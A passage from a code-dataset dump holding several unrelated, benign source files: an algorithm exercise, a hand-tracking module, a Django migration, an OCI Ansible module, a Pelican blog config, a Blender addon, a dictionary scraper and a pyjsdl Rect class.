double = num * 2\n half = num // 2\n if double in available:\n # If the current number's double is\n # available in the hashmap\n available[double] -= 1\n if available[double] == 0:\n del available[double]\n pairs_count += 1\n\n elif num & 1 == 0 and half in available:\n # If the current number is even, and its\n # half is in available in the hashmap\n available[half] -= 1\n if available[half] == 0:\n del available[half]\n pairs_count += 1\n\n else:\n # Add the current number to the hashmap\n available[num] = available.get(num, 0) + 1\n\n return pairs_count == len(arr) // 2\n\n\ndef hashmap2(arr: List[int]) -> bool:\n # Time complexity: O(nlogn + n) = O(nlogn)\n # Space complexity: O(n)\n\n # Sort the array by absolute value, so\n # the smallest value will only have one pair\n # Note: faster runtime if done directly in the loop\n # `for num in sorted(arr, key=abs)`\n arr.sort(key=abs)\n\n counter = Counter(arr)\n\n for num in arr:\n if counter[num] == 0:\n # Current `num` already forming a pair\n # with `num // 2` (in previous iterations)\n continue\n\n if counter[2 * num] == 0:\n # If `num` hasn't been paired yet,\n # but `2 * num` doesn't exist\n return False\n\n # Update the counter\n counter[num] -= 1\n counter[2 * num] -= 1\n\n return True\n\n\nif __name__ == \"__main__\":\n print(\"-\" * 60)\n print(\"Array of doubled pairs\")\n print(\"-\" * 60)\n\n test_cases = [\n ([1, 2], True),\n ([1, 3], False),\n ([3, 1, 3, 6], False),\n ([2, 1, 2, 6], False),\n ([4, -2, 2, -4], True),\n ([2, 4, 0, 0, 8, 1], True),\n ([2, 1, 2, 1, 1, 1, 2, 2], True),\n ]\n\n for arr, solution in test_cases:\n\n print(\"Array:\", arr)\n\n result = hashmap(deepcopy(arr))\n output = \" hashmap = \"\n output += str(result)\n output += \" \" * (50 - len(output))\n test_ok = result == solution\n output += f'Test: {\"OK\" if test_ok else \"NOT OK\"}'\n print(output)\n\n result = hashmap2(deepcopy(arr))\n output = \" hashmap2 = \"\n output += str(result)\n output += \" \" * (50 - len(output))\n test_ok = result == solution\n output += f'Test: {\"OK\" if test_ok else \"NOT OK\"}'\n print(output)\n\n print()\n","repo_name":"daalgi/algorithms","sub_path":"arrays/array_of_doubled_pairs.py","file_name":"array_of_doubled_pairs.py","file_ext":"py","file_size_in_byte":3743,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"42502548050","text":"\"\"\"\nhand tracking module\n\"\"\"\n\nimport cv2\nimport mediapipe as mp\nimport time\n\n\nclass handDetector:\n def __init__(self, mode=False, maxHands=2, detectionCon=0.5, trackCon=0.5):\n \"\"\"\n Constructor for hand detector class\n \"\"\"\n\n self.mode = mode\n self.maxHands = maxHands\n self.detectionCon = detectionCon\n self.trackCon = trackCon\n\n self.mpHands = mp.solutions.hands\n self.hands = self.mpHands.Hands(\n self.mode, self.maxHands, self.detectionCon, self.trackCon\n )\n self.mpDraw = mp.solutions.drawing_utils\n\n def findHands(self, img, draw=True):\n \"\"\"\n Drawing hand landmarks on image\n \"\"\"\n\n imgRGB = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n self.results = self.hands.process(imgRGB)\n\n if self.results.multi_hand_landmarks:\n for handLms in self.results.multi_hand_landmarks:\n if draw:\n self.mpDraw.draw_landmarks(\n img, handLms, self.mpHands.HAND_CONNECTIONS\n )\n\n return img\n\n def findPosition(self, img, handNo=0, draw=True):\n \"\"\"\n Finding hand landmarks on image, return positions\n \"\"\"\n\n landmarkdict = {}\n\n if self.results.multi_hand_landmarks:\n selectedHand = self.results.multi_hand_landmarks[handNo]\n\n for id, landmark in enumerate(selectedHand.landmark):\n # print(id, landmark)\n h, w, c = img.shape\n cx, cy = int(landmark.x * w), int(landmark.y * h)\n\n landmarkdict[id] = (cx, cy)\n if draw:\n cv2.circle(img, (cx, cy), 15, (255, 0, 255), cv2.FILLED)\n\n return landmarkdict\n\n\ndef fingersUp(landmarkdict, selected):\n \"\"\"\n Function to calculate whether selected finger is up\n\n selected = 8 for index finger\n selected = 12 for middle finger\n \"\"\"\n\n selected_tip_x, selected_tip_y = landmarkdict[selected]\n selected_pip_x, selected_pip_y = landmarkdict[selected - 2]\n\n # print(selected, selected_tip_y, selected_pip_y)\n\n if selected_tip_y < selected_pip_y:\n return True\n else:\n return False\n","repo_name":"matefellner/nexus","sub_path":"comp_vision/handtracking/HandTrackingModule.py","file_name":"HandTrackingModule.py","file_ext":"py","file_size_in_byte":2215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"43974013152","text":"from __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [(\"company\", \"0010_company_is_collaborator\")]\n\n operations = [\n migrations.AlterModelOptions(\n name=\"companycontact\",\n options={\n \"ordering\": [\"-pk\"],\n \"verbose_name\": \"company contact\",\n \"verbose_name_plural\": \"company contacts\",\n },\n ),\n migrations.AddField(\n model_name=\"companycontact\",\n name=\"current\",\n field=models.BooleanField(default=False, verbose_name=\"current contact\"),\n preserve_default=True,\n ),\n ]\n","repo_name":"itdagene-ntnu/itdagene","sub_path":"itdagene/app/company/migrations/0011_auto_20160215_1128.py","file_name":"0011_auto_20160215_1128.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"78"} +{"seq_id":"42514577729","text":"from __future__ import absolute_import, division, print_function\n\n__metaclass__ = type\n\nANSIBLE_METADATA = {\n \"metadata_version\": \"1.1\",\n \"status\": [\"preview\"],\n \"supported_by\": \"community\",\n}\n\nDOCUMENTATION = \"\"\"\n---\nmodule: oci_container_engine_addon\nshort_description: Manage an Addon resource in Oracle Cloud Infrastructure\ndescription:\n - This module allows the user to create, update and delete an Addon resource in Oracle Cloud Infrastructure\n - For I(state=present), install the specified addon for a cluster.\nversion_added: \"2.9.0\"\nauthor: Oracle (@oracle)\noptions:\n version:\n description:\n - The version of addon to be installed.\n - This parameter is updatable.\n type: str\n configurations:\n description:\n - Addon configuration details.\n - This parameter is updatable.\n type: list\n elements: dict\n suboptions:\n key:\n description:\n - configuration key name\n type: str\n value:\n description:\n - configuration value name\n type: str\n cluster_id:\n description:\n - The OCID of the cluster.\n type: str\n required: true\n addon_name:\n description:\n - The name of the addon.\n type: str\n required: true\n is_remove_existing_add_on:\n description:\n - Whether existing addon resources should be deleted or not. True would remove the underlying resources completely.\n - Required for delete using I(state=absent).\n type: bool\n state:\n description:\n - The state of the Addon.\n - Use I(state=present) to create or update an Addon.\n - Use I(state=absent) to delete an Addon.\n type: str\n required: false\n default: 'present'\n choices: [\"present\", \"absent\"]\nextends_documentation_fragment: [ oracle.oci.oracle, oracle.oci.oracle_creatable_resource, oracle.oci.oracle_wait_options ]\n\"\"\"\n\nEXAMPLES = \"\"\"\n- name: Create addon\n oci_container_engine_addon:\n # required\n cluster_id: \"ocid1.cluster.oc1..xxxxxxEXAMPLExxxxxx\"\n addon_name: addon_name_example\n\n # optional\n version: version_example\n configurations:\n - # optional\n key: key_example\n value: value_example\n\n- name: Update addon\n oci_container_engine_addon:\n # required\n cluster_id: \"ocid1.cluster.oc1..xxxxxxEXAMPLExxxxxx\"\n addon_name: addon_name_example\n\n # optional\n version: version_example\n configurations:\n - # optional\n key: key_example\n value: value_example\n\n- name: Delete addon\n oci_container_engine_addon:\n # required\n cluster_id: \"ocid1.cluster.oc1..xxxxxxEXAMPLExxxxxx\"\n addon_name: addon_name_example\n is_remove_existing_add_on: true\n state: absent\n\n\"\"\"\n\nRETURN = \"\"\"\naddon:\n description:\n - Details of the Addon resource acted upon by the current operation\n returned: on success\n type: complex\n contains:\n name:\n description:\n - The name of the addon.\n returned: on success\n type: str\n sample: name_example\n version:\n description:\n - selected addon version, or null indicates autoUpdate\n returned: on success\n type: str\n sample: version_example\n current_installed_version:\n description:\n - current installed version of the addon\n returned: on success\n type: str\n sample: current_installed_version_example\n time_created:\n description:\n - The time the cluster was created.\n returned: on success\n type: str\n sample: \"2013-10-20T19:20:30+01:00\"\n lifecycle_state:\n description:\n - The state of the addon.\n returned: on success\n type: str\n sample: CREATING\n configurations:\n description:\n - Addon configuration details.\n returned: on success\n type: complex\n contains:\n key:\n description:\n - configuration key name\n returned: on success\n type: str\n sample: key_example\n value:\n description:\n - configuration value name\n returned: on success\n type: str\n sample: value_example\n addon_error:\n description:\n - The error info of the addon.\n returned: on success\n type: complex\n contains:\n code:\n description:\n - A short error code that defines the upstream error, meant for programmatic parsing. See L(API Errors,https://docs.us-\n phoenix-1.oraclecloud.com/Content/API/References/apierrors.htm).\n returned: on success\n type: str\n sample: code_example\n message:\n description:\n - A human-readable error string of the upstream error.\n returned: on success\n type: str\n sample: message_example\n status:\n description:\n - The status of the HTTP response encountered in the upstream error.\n returned: on success\n type: str\n sample: status_example\n sample: {\n \"name\": \"name_example\",\n \"version\": \"version_example\",\n \"current_installed_version\": \"current_installed_version_example\",\n \"time_created\": \"2013-10-20T19:20:30+01:00\",\n \"lifecycle_state\": \"CREATING\",\n \"configurations\": [{\n \"key\": \"key_example\",\n \"value\": \"value_example\"\n }],\n \"addon_error\": {\n \"code\": \"code_example\",\n \"message\": \"message_example\",\n \"status\": \"status_example\"\n }\n }\n\"\"\"\n\nfrom ansible_collections.oracle.oci.plugins.module_utils import (\n oci_common_utils,\n oci_wait_utils,\n)\nfrom ansible_collections.oracle.oci.plugins.module_utils.oci_resource_utils import (\n OCIResourceHelperBase,\n get_custom_class,\n OCIAnsibleModule,\n)\n\ntry:\n from oci.container_engine import ContainerEngineClient\n from oci.container_engine.models import InstallAddonDetails\n from oci.container_engine.models import UpdateAddonDetails\n\n HAS_OCI_PY_SDK = True\nexcept ImportError:\n HAS_OCI_PY_SDK = False\n\n\nclass AddonHelperGen(OCIResourceHelperBase):\n \"\"\"Supported operations: create, update, get, list and delete\"\"\"\n\n def get_possible_entity_types(self):\n return super(AddonHelperGen, self).get_possible_entity_types() + [\n \"cluster\",\n \"clusters\",\n \"containerEnginecluster\",\n \"containerEngineclusters\",\n \"clusterresource\",\n \"clustersresource\",\n \"addon\",\n \"addons\",\n \"containerEngineaddon\",\n \"containerEngineaddons\",\n \"addonresource\",\n \"addonsresource\",\n \"containerengine\",\n ]\n\n def get_module_resource_id_param(self):\n return \"addon_name\"\n\n def get_module_resource_id(self):\n return self.module.params.get(\"addon_name\")\n\n def get_get_fn(self):\n return self.client.get_addon\n\n def get_get_model_from_summary_model(self, summary_model):\n return oci_common_utils.call_with_backoff(\n self.client.get_addon,\n addon_name=summary_model.name,\n cluster_id=self.module.params.get(\"cluster_id\"),\n ).data\n\n def get_resource(self):\n return oci_common_utils.call_with_backoff(\n self.client.get_addon,\n cluster_id=self.module.params.get(\"cluster_id\"),\n addon_name=self.module.params.get(\"addon_name\"),\n )\n\n def get_required_kwargs_for_list(self):\n required_list_method_params = [\n \"cluster_id\",\n ]\n\n return dict(\n (param, self.module.params[param]) for param in required_list_method_params\n )\n\n def get_optional_kwargs_for_list(self):\n return dict()\n\n def list_resources(self):\n\n required_kwargs = self.get_required_kwargs_for_list()\n optional_kwargs = self.get_optional_kwargs_for_list()\n kwargs = oci_common_utils.merge_dicts(required_kwargs, optional_kwargs)\n return oci_common_utils.list_all_resources(self.client.list_addons, **kwargs)\n\n def get_create_model_class(self):\n return InstallAddonDetails\n\n def get_exclude_attributes(self):\n return [\"addon_name\"]\n\n def is_update(self):\n if not self.module.params.get(\"state\") == \"present\":\n return False\n\n return self.does_resource_exist()\n\n def is_create(self):\n if not self.module.params.get(\"state\") == \"present\":\n return False\n\n return not self.does_resource_exist()\n\n def create_resource(self):\n create_details = self.get_create_model()\n return oci_wait_utils.call_and_wait(\n call_fn=self.client.install_addon,\n call_fn_args=(),\n call_fn_kwargs=dict(\n cluster_id=self.module.params.get(\"cluster_id\"),\n install_addon_details=create_details,\n ),\n waiter_type=oci_wait_utils.WORK_REQUEST_WAITER_KEY,\n operation=oci_common_utils.CREATE_OPERATION_KEY,\n waiter_client=self.get_waiter_client(),\n resource_helper=self,\n wait_for_states=oci_common_utils.get_work_request_completed_states(),\n )\n\n def get_update_model_class(self):\n return UpdateAddonDetails\n\n def update_resource(self):\n update_details = self.get_update_model()\n return oci_wait_utils.call_and_wait(\n call_fn=self.client.update_addon,\n call_fn_args=(),\n call_fn_kwargs=dict(\n cluster_id=self.module.params.get(\"cluster_id\"),\n addon_name=self.module.params.get(\"addon_name\"),\n update_addon_details=update_details,\n ),\n waiter_type=oci_wait_utils.WORK_REQUEST_WAITER_KEY,\n operation=oci_common_utils.UPDATE_OPERATION_KEY,\n waiter_client=self.get_waiter_client(),\n resource_helper=self,\n wait_for_states=oci_common_utils.get_work_request_completed_states(),\n )\n\n def delete_resource(self):\n return oci_wait_utils.call_and_wait(\n call_fn=self.client.disable_addon,\n call_fn_args=(),\n call_fn_kwargs=dict(\n cluster_id=self.module.params.get(\"cluster_id\"),\n addon_name=self.module.params.get(\"addon_name\"),\n is_remove_existing_add_on=self.module.params.get(\n \"is_remove_existing_add_on\"\n ),\n ),\n waiter_type=oci_wait_utils.WORK_REQUEST_WAITER_KEY,\n operation=oci_common_utils.DELETE_OPERATION_KEY,\n waiter_client=self.get_waiter_client(),\n resource_helper=self,\n wait_for_states=oci_common_utils.get_work_request_completed_states(),\n )\n\n\nAddonHelperCustom = get_custom_class(\"AddonHelperCustom\")\n\n\nclass ResourceHelper(AddonHelperCustom, AddonHelperGen):\n pass\n\n\ndef main():\n module_args = oci_common_utils.get_common_arg_spec(\n supports_create=True, supports_wait=True\n )\n module_args.update(\n dict(\n version=dict(type=\"str\"),\n configurations=dict(\n type=\"list\",\n elements=\"dict\",\n options=dict(key=dict(type=\"str\", no_log=True), value=dict(type=\"str\")),\n ),\n cluster_id=dict(type=\"str\", required=True),\n addon_name=dict(type=\"str\", required=True),\n is_remove_existing_add_on=dict(type=\"bool\"),\n state=dict(type=\"str\", default=\"present\", choices=[\"present\", \"absent\"]),\n )\n )\n\n module = OCIAnsibleModule(argument_spec=module_args, supports_check_mode=True)\n\n if not HAS_OCI_PY_SDK:\n module.fail_json(msg=\"oci python sdk required for this module.\")\n\n resource_helper = ResourceHelper(\n module=module,\n resource_type=\"addon\",\n service_client_class=ContainerEngineClient,\n namespace=\"container_engine\",\n )\n\n result = dict(changed=False)\n\n if resource_helper.is_delete():\n result = resource_helper.delete()\n elif resource_helper.is_update():\n result = resource_helper.update()\n elif resource_helper.is_create():\n result = resource_helper.create()\n\n module.exit_json(**result)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"oracle/oci-ansible-collection","sub_path":"plugins/modules/oci_container_engine_addon.py","file_name":"oci_container_engine_addon.py","file_ext":"py","file_size_in_byte":13033,"program_lang":"python","lang":"en","doc_type":"code","stars":151,"dataset":"github-code","pt":"78"} +{"seq_id":"227683585","text":"#!/usr/bin/env python\n# coding: utf-8\nfrom __future__ import unicode_literals\n\nAUTHOR = 'shymonk'\nSITENAME = \"shymonk\"\nSITESUBTITLE = 'In an ephemeral world some idea linger'\nSITEURL = ''\n\n# Article path\nPATH = 'content/posts/'\nIGNORE_FILES = ['.#*', '*.org']\n\n# Theme\nTHEME = 'themes/cleanblog'\n\nDEFAULT_LANG = 'en'\nLOCALE = ('en_US',)\nTIMEZONE = 'Asia/Shanghai'\nDEFAULT_DATE = 'fs'\nDEFAULT_DATE_FORMAT = '%Y-%m-%d %H:%M'\n\n# Place articles in a location such as {slug}/index.html\n# and link to them as {slug} instead of {slug}.html\n# for clean URLs\nARTICLE_URL = \"posts/{date:%Y}/{date:%m}/{slug}/\"\nARTICLE_SAVE_AS = \"posts/{date:%Y}/{date:%m}/{slug}/index.html\"\nYEAR_ARCHIVE_SAVE_AS = 'posts/{date:%Y}/index.html'\nPAGE_URL = \"{slug}.html\"\nPAGE_SAVE_AS = \"{slug}.html\"\nAUTHORS_SAVE_AS = \"\"\nCATEGORY_SAVE_AS = \"\"\nTAG_SAVE_AS = \"\"\n\n# Disqus\nDISQUS_SITENAME = \"shymonk\"\nGOOGLE_ANALYTICS = \"UA-56451105-1\"\nFEED_ALL_ATOM = None\nCATEGORY_FEED_ATOM = None\nTRANSLATION_FEED_ATOM = None\n\nDISPLAY_PAGES_ON_MENU = False\nDISPLAY_CATEGORIES_ON_MENU = False\nMENUITEMS = (\n ('Archives', '/archives.html'),\n ('About', '/about.html'),\n)\n\nLINKS = (('Pelican', 'http://getpelican.com/'),\n ('Python.org', 'http://python.org/'),\n ('Jinja2', 'http://jinja.pocoo.org/'),\n ('You can modify those links in your config file', '#'),)\n\n\n# Plugins\nPLUGIN_PATHS = ['pelican-plugins']\nPLUGINS=['sitemap']\n\nSITEMAP = {\n 'format': 'xml',\n 'priorities': {\n 'articles': 0.3,\n 'indexes': 0.8,\n 'pages': 0.5\n },\n 'changefreqs': {\n 'articles': 'monthly',\n 'indexes': 'daily',\n 'pages': 'monthly'\n }\n}\n\n# Social widget\nGITHUB_URL = 'http://github.com/shymonk'\nINSTAGRAM_URL = 'https://www.instagram.com/shymonk/'\nEMAIL_URL = 'mailto:hellojohn201@gmail.com'\n\n\nDEFAULT_PAGINATION = False\n\n# Uncomment following line if you want document-relative URLs when developing\n# RELATIVE_URLS = True\n","repo_name":"shymonk/shymonk","sub_path":"pelicanconf.py","file_name":"pelicanconf.py","file_ext":"py","file_size_in_byte":1937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"34685378463","text":"import bpy\nfrom bpy.types import Operator\n\ndef defcreateUvEdition(ob):\n for edge in ob.data.edges:\n edge.use_edge_sharp = edge.use_seam\n\n me = ob.data.copy()\n dob = bpy.data.objects.new(\"%s_edit\" % (ob.name), me)\n bpy.context.layer_collection.collection.objects.link(dob)\n \n bpy.context.view_layer.objects.active = dob\n mod = dob.modifiers.new(\"split\", \"EDGE_SPLIT\")\n mod.use_edge_angle = 0\n bpy.ops.object.modifier_apply(modifier=\"split\") \n\n for loop in dob.data.loops:\n dob.data.vertices[loop.vertex_index].co = dob.data.uv_layers.active.data[loop.index].uv[:] + (\n 0,)\n\n\ndef defcopyUvEdition(ob):\n if ob.name.count(\"_edit\"):\n dob = bpy.context.object\n ob = bpy.data.objects[dob.name.removesuffix(\"_edit\")]\n\n for dloop, loop in zip(dob.data.loops, ob.data.loops):\n ob.data.uv_layers.active.data[loop.index].uv = dob.data.vertices[dloop.vertex_index].co[:2]\n\n for edge in ob.data.edges:\n edge.use_edge_sharp = 0\n else:\n print(\"select _edit mesh\") \n \n\n\nclass createUvEdition(Operator):\n \"\"\"It creates a new mesh for uv edition in 3d area\"\"\"\n bl_idname = \"mesh.create_uv_edition\"\n bl_label = \"Create UV Mesh Edition\"\n bl_options = {\"REGISTER\", \"UNDO\"}\n\n @classmethod\n def poll(cls, context):\n return (context.view_layer.objects.active is not None and\n context.view_layer.objects.active.type == 'MESH' and\n context.view_layer.objects.active.mode == \"OBJECT\")\n\n def execute(self, context):\n defcreateUvEdition( bpy.context.object)\n return {'FINISHED'}\n\nclass copyUvEdition(Operator):\n \"\"\"It copies the uv to original mesh\"\"\"\n bl_idname = \"mesh.restore_uv_edition\"\n bl_label = \"Restore UV Mesh Edition\"\n bl_options = {\"REGISTER\", \"UNDO\"}\n\n @classmethod\n def poll(cls, context):\n return (context.view_layer.objects.active is not None and\n context.view_layer.objects.active.type == 'MESH' and\n context.view_layer.objects.active.mode == \"OBJECT\")\n\n def execute(self, context):\n defcopyUvEdition( bpy.context.object)\n return {'FINISHED'}\n","repo_name":"oscurart/Blender-30-Addons","sub_path":"oscurart_tools/mesh/edit_uvs_viewport.py","file_name":"edit_uvs_viewport.py","file_ext":"py","file_size_in_byte":2209,"program_lang":"python","lang":"en","doc_type":"code","stars":56,"dataset":"github-code","pt":"78"} +{"seq_id":"29363154344","text":"import os\n\nfrom bs4 import BeautifulSoup\n\nfrom .translator import Translator\n\n\nclass Cambridge(Translator):\n \"\"\"Download the Definition of a word from http://dictionary.cambridge.org/dictionary/english/ \"\"\"\n def __init__(self, params={}, headers={}):\n super().__init__(params, headers)\n self.name = \"cambridge\"\n self.base_url = \"http://dictionary.cambridge.org\"\n\n def initialize_url(self):\n self.new_url = os.path.join(self.base_url, 'dictionary/english', self.text)\n\n def parse_data(self):\n self.result = {}\n if self.data is None:\n return self.result\n soup = BeautifulSoup(self.data, 'lxml')\n part_of_speech = soup.find_all('span', {'class': 'pos'})[0].getText()\n if part_of_speech == 'idiom':\n return {} # idiom means cambridge can't translate this word\n elif part_of_speech == 'noun':\n countable = soup.find_all('span', {'class': 'gcs'})\n #part_of_speech = \"\"\n if countable:\n part_of_speech += f' [{countable[0].getText()}]'\n uk_phonetic = soup.find_all('span', {'class': 'pron'})[0].getText()\n us_phonetic = soup.find_all('span', {'class': 'pron'})[1].getText()\n\n voices = soup.select('span[data-src-mp3]') # get voice of us and uk accent\n if voices:\n uk_audio = self.base_url + voices[0].attrs['data-src-mp3']\n us_audio = self.base_url + voices[1].attrs['data-src-mp3']\n self.result['uk_voice'] = uk_audio\n self.result['us_voice'] = us_audio\n definition = soup.find_all('b', {'class': 'def'})[0].getText() .replace(' ', ' ').title()\n self.result['part_of_speech'] = part_of_speech\n self.result['pronunciation'] = us_phonetic\n self.result['definition'] = definition.replace(':', '')\n","repo_name":"GreatBahram/multitranslator","sub_path":"src/multitranslator/translators/cambridge.py","file_name":"cambridge.py","file_ext":"py","file_size_in_byte":1841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"39730330958","text":"__docformat__ = 'restructuredtext'\n\n\nclass Rect(object):\n \"\"\"\n **pyjsdl.Rect**\n \n * Rect.copy\n * Rect.move\n * Rect.move_ip\n * Rect.inflate\n * Rect.inflate_ip\n * Rect.contains\n * Rect.union\n * Rect.union_ip\n * Rect.unionall\n * Rect.unionall_ip\n * Rect.clamp\n * Rect.clamp_ip\n * Rect.clip\n * Rect.collidepoint\n * Rect.colliderect\n * Rect.collidelist\n * Rect.collidelistall\n * Rect.collidedict\n * Rect.collidedictall\n \"\"\"\n\n __slots__ = ['x', 'y', 'width', 'height']\n\n def __init__(self, *args):\n \"\"\"\n Return Rect object.\n \n Alternative arguments:\n \n * x, y, width, height\n * (x, y), (width, height)\n * (x, y, width, height)\n * Rect\n * Obj with rect attribute\n\n Rect has the attributes::\n \n x, y, width, height\n top, left, bottom, right\n topleft, bottomleft, topright, bottomright\n midtop, midleft, midbottom, midright\n center, centerx, centery\n size, w, h\n\n Attribute access is functional in strict mode (-S),\n while in optimized mode (-O) direct access can be used\n with x/y/width/height whereas other attributes can be\n accessed with getattr/setattr functions or build with\n the --enable-descriptor-proto option.\n \n Module initialization places pyjsdl.Rect in module's namespace.\n \"\"\"\n if len(args) == 1:\n arg = args[0]\n else:\n arg = args\n ln = len(arg)\n if ln == 4:\n x = arg[0]\n y = arg[1]\n width = arg[2]\n height = arg[3]\n elif ln == 2:\n x = arg[0][0]\n y = arg[0][1]\n width = arg[1][0]\n height = arg[1][1]\n else:\n if hasattr(arg, 'rect'):\n arg = arg.rect\n x = arg.x\n y = arg.y\n width = arg.width\n height = arg.height\n object.__setattr__(self, 'x', int(x))\n object.__setattr__(self, 'y', int(y))\n object.__setattr__(self, 'width', int(width))\n object.__setattr__(self, 'height', int(height))\n\n def __str__(self):\n return \"<rect(%s, %s, %s, %s)>\" % (self.x,\n self.y,\n self.width,\n self.height)\n\n def __repr__(self):\n return \"%s(%s,%s,%s,%s)\" % (self.__class__, self.x,\n self.y,\n self.width,\n self.height)\n\n def __setattr__(self, attr, val): #not implemented in pyjs -O\n try:\n getattr(self, '_set_'+attr)(val)\n except AttributeError:\n msg = 'Rect object has no attribute %s' % attr\n raise AttributeError(msg)\n\n def __getitem__(self, key):\n return getattr(self, ('x','y','width','height')[key])\n\n def __setitem__(self, key, val):\n setattr(self, ('x','y','width','height')[key], val)\n\n def __iter__(self):\n return iter([self.x, self.y, self.width, self.height])\n\n def __len__(self):\n return 4\n\n def __bool__(self):\n return self.width and self.height\n\n def __nonzero__(self):\n return self.width and self.height\n\n def __eq__(self, other):\n #pyjs compares rect==tuple not __eq__\n return (self.x == other.x and\n self.y == other.y and\n self.width == other.width\n and self.height == other.height)\n\n def __ne__(self, other):\n #pyjs compares rect!=tuple not __ne__\n return (self.x != other.x or\n self.y != other.y or\n self.width != other.width or\n self.height != other.height)\n\n def setLocation(self, x, y):\n object.__setattr__(self, 'x', int(x))\n object.__setattr__(self, 'y', int(y))\n return None\n\n def setSize(self, width, height):\n object.__setattr__(self, 'width', int(width))\n object.__setattr__(self, 'height', int(height))\n return None\n\n def copy(self):\n \"\"\"\n Returns Rect that is a copy of this rect.\n \"\"\"\n return Rect(self.x, self.y, self.width, self.height)\n\n def move(self, *offset):\n \"\"\"\n Return Rect of same dimension at position offset by x,y.\n \"\"\"\n if len(offset) == 2:\n x, y = offset\n else:\n x, y = offset[0]\n return Rect(self.x+x, self.y+y, self.width, self.height)\n\n def move_ip(self, *offset):\n \"\"\"\n Moves this rect to position offset by x,y.\n \"\"\"\n if len(offset) == 2:\n x, y = offset\n else:\n x, y = offset[0]\n self.setLocation(self.x+x, self.y+y)\n return None\n\n def inflate(self, *offset):\n \"\"\"\n Return Rect at same position but size offset by x,y.\n \"\"\"\n if len(offset) == 2:\n x, y = offset\n else:\n x, y = offset[0]\n return Rect(self.x-x//2, self.y-y//2, self.width+x, self.height+y)\n\n def inflate_ip(self, *offset):\n \"\"\"\n Change size of this rect offset by x,y.\n \"\"\"\n if len(offset) == 2:\n x, y = offset\n else:\n x, y = offset[0]\n self.setSize(self.width+x, self.height+y)\n self.setLocation(self.x-x//2, self.y-y//2)\n return None\n\n def clip(self, rect):\n \"\"\"\n Return Rect representing this rect clipped by rect.\n \"\"\"\n if not self.intersects(rect):\n return Rect(0,0,0,0)\n else:\n x = self.x if self.x > rect.x else rect.x\n y = self.y if self.y > rect.y else rect.y\n s = self.x+self.width\n r = rect.x+rect.width\n w = (s if s < r else r) - x\n s = self.y+self.height\n r = rect.y+rect.height\n h = (s if s < r else r) - y\n return Rect(x, y, w, h)\n\n def intersection(self, rect):\n \"\"\"\n Return Rect representing this rect clipped by rect.\n \"\"\"\n return self.clip(rect)\n\n def contains(self, rect):\n \"\"\"\n Check if rect is in this rect.\n \"\"\"\n return (self.x <= rect.x and\n (self.x + self.width) >= (rect.x + rect.width) and\n self.y <= rect.y and\n (self.y + self.height) >= (rect.y + rect.height))\n\n def intersects(self, rect):\n \"\"\"\n Check if rect intersects this rect.\n \"\"\"\n return (self.x < (rect.x + rect.width) and\n rect.x < (self.x + self.width) and\n self.y < (rect.y + rect.height) and\n rect.y < (self.y + self.height))\n\n def union(self, rect):\n \"\"\"\n Return Rect representing the union of rect and this rect.\n \"\"\"\n x = self.x if self.x < rect.x else rect.x\n y = self.y if self.y < rect.y else rect.y\n s = self.x + self.width\n r = rect.x + rect.width\n w = (s if s > r else r) - x\n s = self.y + self.height\n r = rect.y + rect.height\n h = (s if s > r else r) - y\n return Rect(x, y, w, h)\n\n def union_ip(self, rect):\n \"\"\"\n Change this rect to represent the union of rect and this rect.\n \"\"\"\n x = self.x if self.x < rect.x else rect.x\n y = self.y if self.y < rect.y else rect.y\n s = self.x + self.width\n r = rect.x + rect.width\n w = (s if s > r else r) - x\n s = self.y + self.height\n r = rect.y + rect.height\n h = (s if s > r else r) - y\n self.x = x\n self.y = y\n self.width = w\n self.height = h\n return None\n\n def unionall(self, rect_list):\n \"\"\"\n Return Rect representing the union of rect list and this rect.\n \"\"\"\n x1 = self.x\n y1 = self.y\n x2 = self.x + self.width\n y2 = self.y + self.height\n for r in rect_list:\n if r.x < x1:\n x1 = r.x\n if r.y < y1:\n y1 = r.y\n rx2 = r.x + r.width\n if rx2 > x2:\n x2 = rx2\n ry2 = r.y + r.height\n if ry2 > y2:\n y2 = ry2\n return Rect(x1, y1, x2-x1, y2-y1)\n\n def unionall_ip(self, rect_list):\n \"\"\"\n Change this rect to represent the union of rect list and this rect.\n \"\"\"\n x1 = self.x\n y1 = self.y\n x2 = self.x + self.width\n y2 = self.y + self.height\n for r in rect_list:\n if r.x < x1:\n x1 = r.x\n if r.y < y1:\n y1 = r.y\n rx2 = r.x + r.width\n if rx2 > x2:\n x2 = rx2\n ry2 = r.y + r.height\n if ry2 > y2:\n y2 = ry2\n self.x = x1\n self.y = y1\n self.width = x2 - x1\n self.height = y2 - y1\n return None\n\n def clamp(self, rect):\n \"\"\"\n Return Rect of same dimension as this rect moved within rect.\n \"\"\"\n if self.width < rect.width:\n if self.x < rect.x:\n x = rect.x\n elif self.x + self.width > rect.x + rect.width:\n x = rect.x + rect.width - self.width\n else:\n x = self.x\n else:\n x = rect.x - int((self.width - rect.width)/2)\n if self.height < rect.height:\n if self.y < rect.y:\n y = rect.y\n elif self.y + self.height > rect.y + rect.height:\n y = rect.y + rect.height - self.height\n else:\n y = self.y\n else:\n y = rect.y - int((self.height - rect.height)/2)\n return Rect(x, y, self.width, self.height)\n\n def clamp_ip(self, rect):\n \"\"\"\n Move this rect within rect.\n \"\"\"\n if self.width < rect.width:\n if self.x < rect.x:\n x = rect.x\n elif self.x + self.width > rect.x + rect.width:\n x = rect.x + rect.width - self.width\n else:\n x = self.x\n else:\n x = rect.x - int((self.width - rect.width)/2)\n if self.height < rect.height:\n if self.y < rect.y:\n y = rect.y\n elif self.y + self.height > rect.y + rect.height:\n y = rect.y + rect.height - self.height\n else:\n y = self.y\n else:\n y = rect.y - int((self.height - rect.height)/2)\n self.setLocation(x, y)\n return None\n\n def set(self, *args):\n \"\"\"\n Set rect x,y,width,height attributes to argument.\n Alternative arguments:\n * x,y,w,h\n * (x,y),(w,h)\n * (x,y,w,h)\n * Rect\n * Obj with 